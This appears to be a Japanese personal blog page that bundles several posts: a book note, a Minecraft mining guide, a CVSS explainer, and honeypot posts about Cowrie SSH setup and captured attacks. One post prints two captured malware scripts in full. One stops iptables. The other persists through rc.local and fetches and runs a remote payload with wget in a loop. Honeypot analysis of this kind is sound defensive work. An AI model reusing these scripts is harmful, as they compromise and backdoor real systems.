【読書メモ】ゲームと仕事の違いは何か『残酷すぎる成功法則』
最近マインクラフトにハマりすぎていて、読書する時間、ブログ書く時間、勉強する時間、プログラミングする時間など僕が生産的と思っている時間が少なくなっているので、ゲームと仕事や勉強などの違いを知りたくて、『残酷すぎる成功法則』を読みました。
- 作者: エリック・バーカー,橘玲,竹中てる実
- 出版社/メーカー: 飛鳥新社
- 発売日: 2017/10/25
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
結論から言うと、根本的には違いは無くて、個人の捉え方に違いがあると知ったので、どう捉えたら仕事や勉強などがゲームみたいに夢中になれるかご紹介したいと思います。
この本では上記にあるような僕の疑問に直接的にヒントを与えてくれるところが多々あり、とても参考になりました。
ここで疑問が湧いてくる。厄介なことも多く、挫折感も味わうゲームは学業や仕事と大差ないのに、どうして人はゲームにワクワクし、仕事にはウンザリなのか? エリック・バーカー;橘玲.残酷すぎる成功法則(Kindleの位置No.1685-1687).株式会社飛鳥新社.Kindle版.
ゲームの仕組みを仕事や勉強に適用すれば、人生でも成功できるとこの本では主張しています。
その仕組みとは、「WNGF」という仕組みです。
WNGFとは
WNGFとは、
- 勝てること(Winnable)
- 斬新であること(Novel)
- 目標(Goals)
- フィードバック(Feedback)
の頭文字を取ったものになります。
多くのゲームは上記の4つの要素がうまく仕組まれていて、仕事や勉強はそれらの要素が少ないためにつまらなくなってしまうとのこです。
なので僕が今ハマっているマインクラフトと勉強(現状)を比較してみました。
こんな感じだと思います。
マインクラフトなど様々なゲームは大体勝てるし、斬新で新しい目標がどんどん出現するし、何より成果が見えやすいのに対し、勉強は勝てない(なかなか成果が上がっていると感じられない)ことが多いような気がします。
勉強に関して大事なことは、まずは簡単に勝てるゴールを設定することが大事なんだなあと思いました。
例えば、
- 参考書を買う
- 目次だけ見てみる
- 1問だけ問題を解いてみる
など、可能な限り簡単に勝てるゴールを設定する工夫をすれば、ゲーム性が増すと思います。
また、斬新さに関しても、今はできないことを悲観的に捉えるのではなく、それを新しいステージだと思って、取り組むことが斬新さを向上させることに繋がると思います。
目標に関しては、フィードバックと被るとことがあるのですが、長期的にみてもある程度わかりやすいゴールを設定した方が勉強に夢中になれると思います。 (例えば、資格を取得するなど。)
ということで、上記の表を修正したものがこちらです。
なんとなく、この4つの要素を向上させることで、勉強も楽しく取り組むことができるようになりそうです。
みなさんも頑張りたいけど、なんか後回しにしてしまうようなことがあれば、この4つの要素を取り入れて、楽しく生活していってほしいです。
上記のシートを記入できるようにしたので、よかったら使ってみてください。
ダウンロードはこちらから。
https://drive.google.com/open?id=15m3E0kLnpa66Ng6LzGt_8sO5pvOmFnGH
SSHハニーポットCowrieでダウンロードされたファイルを見てみる
しばらくCowrieを放置していたのですが、かなりアクセスが来ているようで、実際にダウンロードされたファイルもたくさんあったので、どんなファイルがダウンロードされていたかご紹介したいと思います。
Cowrieの場合、攻撃者がSSHでログインして何かしらのファイルをダウンロードした場合、上記の公式ドキュメントのとおりdlディレクトリに格納されます。
早速そこのディレクトリの中を覗いてみようと思います。
-rw-r--r-- 1 cowrie cowrie 59 Jun 10 02:44 07f637a3d34119fc8818d7eb6d7b4aa17891a1bf9cb563df13d6802864b89386 -rw-r--r-- 1 cowrie cowrie 1035157 Jun 1 01:24 0ffa9e646e881568c1f65055917547b04d89a8a2150af45faa66beb2733e7427 -rw-r--r-- 1 cowrie cowrie 2250 May 31 04:10 12a51f899c8fab7c131b4b851cca0c84e95f31aadc86ce1198fae91126304127 -rw-r--r-- 1 cowrie cowrie 3239584 Jun 4 21:38 12d6f7971e5797e060621aa150eda78e814a3a9dab093f6e58d83cd94a71ced1 -rw-r--r-- 1 cowrie cowrie 1223123 Jun 6 14:56 176a317df7b801a5af856e8b351995dacba50f6d4df1281235dce536e63c6251 -rw-r--r-- 1 cowrie cowrie 2267 Jun 6 22:59 36fc374823925e9d1c14bd41e282284111fbd345c8d9755974ea0e568f8ddbee -rw-r--r-- 1 cowrie cowrie 65400 Jun 4 14:35 399851bc221ffe3999f82ff7cd70a150ed92dbaa04c6e0f21bccf176d5dd0ceb -rw-r--r-- 1 cowrie cowrie 7200 Jun 3 18:48 4188692fd507fe4c362ad5aa99b5db01673e88ec8bfe605986ceb1480c2e6c97 -rw-r--r-- 1 cowrie cowrie 2327 Jun 1 02:12 4f75eec50688856480316bb404ba90d33d5de43ded45066b5a3d9b3fb7cc8720 -rw-r--r-- 1 cowrie cowrie 1034309 Jun 1 01:22 5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232 -rw-r--r-- 1 cowrie cowrie 1203885 Jun 1 01:23 5c8c41253aa68adeb955e7d1c7b8e084e06537f75eff12c3f3a0f3cb30cb2152 -rw-r--r-- 1 cowrie cowrie 1 Jun 7 17:00 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d -rw-r--r-- 1 cowrie cowrie 2253 Jun 4 21:37 7f4baf3bc359fe5679b76b2873ee5d3e474f6436bbb2f3027383ac87b9e2b590 -rw-r--r-- 1 cowrie cowrie 1215093 Jun 1 01:23 86fbdd7df9486a17e9c408c7e50635e26402fdf297c9e97f1a5256100401dcc5 -rw-r--r-- 1 cowrie cowrie 1223123 Jun 4 13:11 885fdc6be061dae3a95501f636924c1e7305684a468cd382ed8246e8bf84a5ff -rw-r--r-- 1 cowrie cowrie 1069817 Jun 1 01:22 9c2848962733846bf50b490fd8f6c7ce9ecade2d3f2f530f5ecbba283af87d3a -rw-r--r-- 1 cowrie cowrie 73 Jun 6 14:58 9e5f93361b899d85a00a286bd1ea96b056d102926f96c131fc988739eca18355 -rw-r--r-- 1 cowrie cowrie 1223123 May 31 04:10 beba1a9b20f23f022bd354e5128c463bbe52c3715b406a3aae73e7e33f39518a -rw-r--r-- 1 cowrie cowrie 7432 Jun 1 17:58 d94e3cd7a3575da5b8326298fe93fa7504979640257d3beab511f4257ac47803 -rw-r--r-- 1 cowrie cowrie 1236080 Jun 6 22:59 e651a05c9cb0bde4e8efa635f699ba3e186afd4ae4c42760e3d97ffa01d8c8ca -rw-r--r-- 1 cowrie cowrie 1135000 Jun 4 13:19 f1c8304d393a42b42cde13663089a6bd46713f7abadfe8294efcec7142cb4fbe -rw-r--r-- 1 cowrie cowrie 58 May 31 04:10 f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154 -rw-rw-r-- 1 cowrie cowrie 14 May 29 21:53 .gitignore -rw------- 1 cowrie cowrie 0 Jun 4 21:36 tmp5g1gzD -rw------- 1 cowrie cowrie 0 May 31 04:09 tmp8InVpr -rw------- 1 cowrie cowrie 0 May 31 04:09 tmpi2B1wA
めちゃめちゃファイルがダウンロードされてます。。。笑
fileコマンドでどんなタイプのファイルが来ているか確認してみた結果がこちらです。
$ file * 07f637a3d34119fc8818d7eb6d7b4aa17891a1bf9cb563df13d6802864b89386: ASCII text 0ffa9e646e881568c1f65055917547b04d89a8a2150af45faa66beb2733e7427: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped 12a51f899c8fab7c131b4b851cca0c84e95f31aadc86ce1198fae91126304127: Bourne-Again shell script, ASCII text executable 12d6f7971e5797e060621aa150eda78e814a3a9dab093f6e58d83cd94a71ced1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=c77cd956ea0e1620a83b6385e1246f0a8c59c270, not stripped 176a317df7b801a5af856e8b351995dacba50f6d4df1281235dce536e63c6251: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped 36fc374823925e9d1c14bd41e282284111fbd345c8d9755974ea0e568f8ddbee: Bourne-Again shell script, ASCII text executable 399851bc221ffe3999f82ff7cd70a150ed92dbaa04c6e0f21bccf176d5dd0ceb: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped 4188692fd507fe4c362ad5aa99b5db01673e88ec8bfe605986ceb1480c2e6c97: Perl script, ASCII text executable 4f75eec50688856480316bb404ba90d33d5de43ded45066b5a3d9b3fb7cc8720: Bourne-Again shell script, ASCII text executable 5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped 5c8c41253aa68adeb955e7d1c7b8e084e06537f75eff12c3f3a0f3cb30cb2152: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d: very short file (no magic) 7f4baf3bc359fe5679b76b2873ee5d3e474f6436bbb2f3027383ac87b9e2b590: Bourne-Again shell script, ASCII text executable 86fbdd7df9486a17e9c408c7e50635e26402fdf297c9e97f1a5256100401dcc5: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped 885fdc6be061dae3a95501f636924c1e7305684a468cd382ed8246e8bf84a5ff: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped 9c2848962733846bf50b490fd8f6c7ce9ecade2d3f2f530f5ecbba283af87d3a: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped 9e5f93361b899d85a00a286bd1ea96b056d102926f96c131fc988739eca18355: ASCII text beba1a9b20f23f022bd354e5128c463bbe52c3715b406a3aae73e7e33f39518a: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped d94e3cd7a3575da5b8326298fe93fa7504979640257d3beab511f4257ac47803: Perl script, ASCII text executable e651a05c9cb0bde4e8efa635f699ba3e186afd4ae4c42760e3d97ffa01d8c8ca: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=c0c8301fa94c01ee6d79e0d745b7830c77693a97, stripped f1c8304d393a42b42cde13663089a6bd46713f7abadfe8294efcec7142cb4fbe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154: ASCII text tmp5g1gzD: empty tmp8InVpr: empty tmpi2B1wA: empty
一番多いのが、"ELF 32-bit MSB executable"という標準バイナリ形式のファイルでした。
それ以外でもPerlのスクリプトだったり、普通のシェルスクリプトだったり、いろんな種類のファイルがダウンロードされていました。
今回は手軽に閲覧できるテキスト形式のファイルの中身を2つほどご紹介したいと思います。
ファイル①
こちらのファイルはroot権限でasd5121という実行ファイルを実行して、iptablesをストップするスクリプトになります。
cd /root/ ./asd5121& ./asd5121& /etc/init.d/iptables stop
asd5121はバイナリ形式だったので、どんな動作をするのか確認することはできませんでしたが、iptablesを停止されるのは嫌ですね。
ファイル②
次はシェルスクリプトになります。
こちらもインターネット上からファイルをダウンロードして、そのファイルを実行するような動きになっています。
#Welcome like-minded friends to come to exchange. #We are a group of people who have a dream. # qun:10776622 # 2016-06-14 if [ "sh /etc/Xsny.sh &" = "$(cat /etc/rc.local | grep /etc/Xsny.sh | grep -v grep)" ]; then echo "" else echo "sh /etc/Xsny.sh &" >> /etc/rc.local fi while [ 1 ]; do Centos_sshd_killn=$(ps aux | grep "/tmp/ElccR" | grep -v grep | wc -l) if [[ $Centos_sshd_killn -eq 0 ]]; then if [ ! -f "/tmp/ElccR" ]; then if [ -f "/usr/bin/wget" ]; then cp /usr/bin/wget . chmod +x wget #./wget -P . http://XXX.top/ElccR ./wget -P /tmp/ http://XXX.top/ElccR &> /dev/null chmod 755 /tmp/ElccR rm wget -rf else echo "No wget" fi fi /tmp/ElccR & #./ElccR & elif [[ $Centos_sshd_killn -gt 1 ]]; then for killed in $(ps aux | grep "ElccR" | grep -v grep | awk '{print $2}'); do Centos_sshd_killn=$(($Centos_sshd_killn-1)) if [[ $Centos_sshd_killn -eq 1 ]]; then continue else kill -9 $killed fi done else echo "" fi Centos_ssh_killn=$(ps aux | grep "/tmp/ElccR" | grep -v grep | wc -l) if [[ $Centos_ssh_killn -eq 0 ]]; then if [ ! -f "/tmp/ElccR" ]; then if [ -f "/usr/bin/wget" ]; then cp /usr/bin/wget . chmod +x wget #./wget -P . http://XXX.top/ElccR ./wget -P /tmp/ http://XXX.top/ElccR &> /dev/null chmod 755 /tmp/ElccR rm wget -rf else echo "No wget" fi fi /tmp/ElccR & #./ElccR & elif [[ $Centos_ssh_killn -gt 1 ]]; then for killed in $(ps aux | grep "ElccR" | grep -v grep | awk '{print $2}'); do Centos_ssh_killn=$(($Centos_ssh_killn-1)) if [[ $Centos_ssh_killn -eq 1 ]]; then continue else kill -9 $killed fi done else echo "" fi sleep 600 done
このスクリプトに記載されているURLにアクセスしてみましたが、現在はファイルをダウンロードできないようになっていました。
先頭にあるコメントが面白いですね。
Welcome like-minded friends to come to exchange. We are a group of people who have a dream.
直訳すると「同じ志を持った仲間を歓迎する。我々はある夢を持ったグループです。」って感じですかね。
今後もCowrieのログは観察していこうと思います。
関連記事です。
エンジニアならCVSS(共通脆弱性評価システム )について知っとこ
日々、ハニーポットを運用していて様々な製品の脆弱性を狙った攻撃を観察していますが、その脆弱性を評価するCVSS(共通脆弱性評価システム )について疎かったので、今日はそのCVSSについてご紹介したいと思います。
CVSSとは
そもそもCVSSとは何なのでしょうか。
IPAによると、
共通脆弱性評価システム CVSS ( Common Vulnerability Scoring System) は、情報システムの脆弱性に対するオープンで包括的、汎用的な評価手法の確立と普及を目指し、米国家インフラストラクチャ諮問委員会( NIAC: National Infrastructure Advisory Council )のプロジェクトで 2004年10月に原案が作成されました。
と説明されております。
CVSSは脆弱性に対するオープンで汎用的な指標で、脆弱性を定量的に評価できるのが大きなポイントになります。
CVSSは下記の3つの観点から脆弱性を評価します。
- 基本評価基準(Base Metrics)
- 現状評価基準(Temporal Metrics)
- 環境評価基準(Environmental Metrics)
それぞれの説明はIPAのサイトで詳しく解説されております。
(引用:共通脆弱性評価システムCVSS概説:IPA 独立行政法人 情報処理推進機構)
評価基準の詳細な内容
上記の3つの評価基準にはさらに詳細に区分があり、内容は上記サイトに詳しく記載されていますが、区分ごとに値が決まっています。
その各値を基に脆弱性を定量的に算出することができるという仕組みになっています。
脆弱性の値の算出方法
値の算出方法も上記サイトに記載されていて、下記のとおりとなっています。
- CVSS 基本値 (Base Score)
影響度 = 10.41×( 1 - ( 1 - C )×( 1 - I )×( 1 - A ) ) …式(1)
攻撃容易性 = 20×AV×AC×Au …式(2)
f(影響度) = 0(影響度が0の場合) , 1.176(影響度が0以外の場合) …式(3)
基本値 = ((0.6× 影響度)+(0.4× 攻撃容易性 )-1.5)×f(影響度) …式(4) (小数点第 2 位四捨五入)
- CVSS 現状値 (Temporal Score)
現状値 = 基本値 ×E×RL×RC (小数点第 2 位四捨五入) …式(5)
- CVSS 環境値 (Environmental Score)
環境値 =( 調整後現状値 +(10- 調整後現状値 )×CD)×TD …式(8) (小数点第 2 位四捨五入)
一番やばい値と一番やばくない値について
上記の算出式を基にCVSSの値の一番やばい値(最高値)と一番やばくない値(最低値)を求めてみた結果がこちらです。
計算してみて分かったのですが、CVSS 基本値 (Base Score)、CVSS 現状値 (Temporal Score)、CVSS 環境値 (Environmental Score)のいずれも実際には「9.99・・・」になるので、小数点第2位を四捨五入すると最高値が10、最低値が0になりました。
全体的な値でやばそうとかやばくなさそうとかは分かるのですが、個々の区分を見ると、攻撃の実行容易生や攻撃の可能性(理論上可能だけど、実行は難しいとか)など細かな特性があるので、それぞれの脆弱性情報を見る際に役に立ちそうです。
ちなみに2018年が始まって、現時点で深刻度が危険レベル(7.0〜10.0)の脆弱性は「脆弱性対策情報データベース」によると、822件もあるので、結構やばい脆弱性がたくさんあるようです。
上記のCCSSの各値を理解していると、「脆弱性対策情報データベース」を見ても脆弱性のレベル感が具体的に理解できるようになるので、エンジニアの方はぜひ知っといてほしいです。
Mikto Til社のRouterOSを探索するようなアクセスをキャッチ
Mikto Til社のRouterOSを探索するようなアクセスをキャッチしたので、ご紹介します。
今回キャッチしたアクセスログはこんな感じです。
GET /webfig/roteros.info HTTP/1.1 Accept: */* Connection: close Host: XXX.XXX.XXX.XXX User-Agent: Wget(linux)
単純にGETリクエストで/webfig/roteros.infoにアクセスしています。
WebfigはRouterOSの管理用ウェブサイトなので、この管理画面に脆弱性がある可能性があります。
こちらはWebFig画面の利用方法を紹介した動画になります。 www.youtube.com
様々なネットワークの設定からこのWebFig画面で可能なことが分かります。
ネットで調べても、このアクセスについてあまり情報がなかったのですが、ここ最近はpythonスクリプトで検証をしているような動きもみられるので、何かしらの脆弱性があるものと思われます。
pythonを使用したアクセス例
GET /webfig/roteros.info HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate Connection: close Host: XXX.XXX.XXX.XXX User-Agent: python-requests/2.18.4
ここ最近、ネットワーク機器の脆弱性を狙ったような攻撃が多いので、自宅に何かしらのネットワーク機器を設置している方は自分の利用している製品に脆弱性がないか定期的にチェックすることをおすすめします。
今後Mikto Til社のRouterOSに関する脆弱性の情報はウォッチしようと思います。
参考情報
【マインクラフト】風車式ブランチマイニングを図解で解説する
マインクラフトをやっていると、やっぱりどうしてもダイヤ大量にほしーってなります。
ブランチマイニングというものをヒカキンさんの動画で知ったのですが、オーソドックスなツリー状ブランチマイニングに飽きてきたので、風車方式ブランチマイニングを使用と思うのですが、動画を見ただけじゃイメージが湧かなかったです。。。
【マインクラフト】風車型ブランチマイニングでダイヤを取りまくるぞー!【ヒカキンのマイクラ実況 Part118】【ヒカクラ】
そこで、スプレッドシートで図解しながら、自分用に手順を作ってみました。
1. 9×9マスの部屋を作る
まず、縦に深く掘るところは、普通のブランチマイニングと変わらないのですが、縦に掘った後9×9マスの部屋を作ります。
上から見た図
2. 部屋の角を4マス掘る
次に部屋の角のところを4マス分掘ります。
上から見た図
もうこの時点で風車っぽいです。
3. 右に4マス掘る
次に上記2で掘った4マス分の穴のどれかひとつから右に4マス分掘ります。
上から見た図
4. 左4マス右ずーっと掘る
その後、上記3で作成した穴から「左4マス右ずーっと」掘ります。
上から見た図
こんな感じ。
あとは、3と4を繰り返す感じです。
そうすると1周した時点でこんな感じになります。
3周すると、こんな感じになります。
なんか綺麗ですね。
風車式ブランチマイニングするときは、「右に4マス」、「左4マス右ずーっと」をキーワードに作業を淡々と実施していきたいと思います。
Cowrieをインストールしてみて1日経ったログを見てみる
昨日SSHハニーポットのCowrieをインストールしたのですが、1日でどれくらい攻撃がきているか確認してみました。
その数、なんと。。。
483件!
多すぎでしょ。笑
日々SSHの攻撃は来ているのは分かっていましたが、1日で483件も来ているのには驚きです。。。
大体1時間あたり20件、3分に1件くらいのSSH攻撃が来ていることになります。
僕のサーバーの場合、特に公開しているサーバーではないので、普通に公開しているWebサービスはもっと攻撃が来ている可能性があります。
どんなユーザー名でSSH接続しに来ているかというと、こんな感じです。
ユーザー名 | 件数 |
---|---|
root | 175 |
admin | 53 |
test | 24 |
support | 4 |
ubuntu | 4 |
やっぱり断トツで多いのは「root」でした。 rootユーザーを乗っ取ってしまえば、なんでもできてしまうので攻撃者からすると、ローリスクハイリターンです。
次に多いのは、adminでした。 こちらも管理者権限を持っていることが多いため、攻撃者からは狙われやすいようです。
あとはtest、supportといった作成しがちなユーザー名での攻撃が来ていました。
次に実際に攻撃で使用されているパスワードは、こんな感じでした。
パスワード | 件数 |
---|---|
admin | 108 |
123456 | 31 |
password | 11 |
1234 | 7 |
123 | 5 |
adminが一番多く試されているようでした。 個人的にはpasswordが一番かなと思っていたのですが、passwordは3位で、それを上回ったのが123456という数字のみのパスワードでした。
いっぱいログが採取できたのですが、興味深かったのが、攻撃に使用されるパスワードの長さでした。 横軸にパスワードの文字列の長さ、縦軸が攻撃件数の棒グラフを作成してみました。
5文字のパスワードが一番多く、逆に25文字以上のパスワードの攻撃は来ていませんでした。
パスワードを25文字以上にすると安全性は非常に高いようです。
1日で結構面白いログが採取できたので、今回採取したユーザー名とパスワードを設定ファイルに登録して、実際の攻撃内容を観察してみようと思います。
SSHハニーポットのCowrieをインストールしてみた
以前から気づいていたのですが、僕のハニーポットのauth.logにものすごい量のSSH認証失敗ログが記録されています。
インターネットの世界はHTTPだけでなく、SSHアタックも多いことと、最近Glastopfの攻撃アクセスが偏っていて、面白くなくなってきたので、SSHハニーポットのCrowrieをインストールしてみました。
ほぼほぼ公式ドキュメントどおりにインストールすることができましたが、だいたいの手順をご紹介します。 OSは公式ドキュメントどおりUbuntuです。
1. 各種パッケージのインストール
まずは下記コマンドでパッケージのインストールします。
$ sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbind
2. ユーザー作成
次に下記コマンドでユーザーを作成します。
$ sudo adduser --disabled-password cowrie Adding user `cowrie' ... Adding new group `cowrie' (1002) ... Adding new user `cowrie' (1002) with group `cowrie' ... Changing the user information for cowrie Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] $ sudo su - cowrie
入力するところは、そのままEnterで問題ないです。
3. ソースコードのチェックアウト
次にCowrieのソースコードをGitHubからクローンします。
$ git clone http://github.com/micheloosterhof/cowrie Cloning into 'cowrie'... remote: Counting objects: 2965, done. remote: Compressing objects: 100% (1025/1025), done. remote: Total 2965 (delta 1908), reused 2962 (delta 1905), pack-reused 0 Receiving objects: 100% (2965/2965), 3.41 MiB | 2.57 MiB/s, done. Resolving deltas: 100% (1908/1908), done. Checking connectivity... done. $ cd cowrie
再度にディレクトリを移動しておきます。
4. 仮想環境を設定
次に仮想環境の設定を行っていきます。 とはいっても簡単で下記コマンドを実行するだけです。
$ virtualenv cowrie-env New python executable in ./cowrie/cowrie-env/bin/python Installing setuptools, pip, wheel...done.
その後、仮想環境をアクティブな状態にして、パッケージをインストールしていきます。
$ source cowrie-env/bin/activate (cowrie-env) $ pip install --upgrade pip (cowrie-env) $ pip install --upgrade -r requirements.txt
5. 設定ファイルの作成
次に設定ファイルを作成するのですが、僕はめんどくさかったので、下記コマンドでデフォルトの設定ファイルを作成しました。
$ cp cowrie.cfg.dist cowrie.cfg
6. 起動
上記5まで終えたら、いよいよCowrieを起動します。
起動は下記コマンドを実行します。
$ bin/cowrie start Activating virtualenv "cowrie-env" Starting cowrie with extra arguments [] ...
7. NATの設定
起動まではできたのですが、このままではCrowieがlistenしているデフォルトの2222番ポートにアクセスが来てくれないので、下記コマンドでNATの設定を入れてあげます。
$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
これをやるとこれまでSSH接続を22番ポートでログインしていた方はログインできなくなる可能性があるので、必要に応じて管理用のポートをリダイレクトしてあげるようにしてあげましょう。
下記コマンドは3333番ポートを22番ポートにリダイレクトする設定コマンドです。
$ sudo iptables -t nat -A PREROUTING -p tcp --dport 3333 -j REDIRECT --to-port 22
これで3333番ポートにアクセスすれば、ひとまずSSH接続できるようになります。
ひとまずこれでSSH攻撃を観察してみようと思います。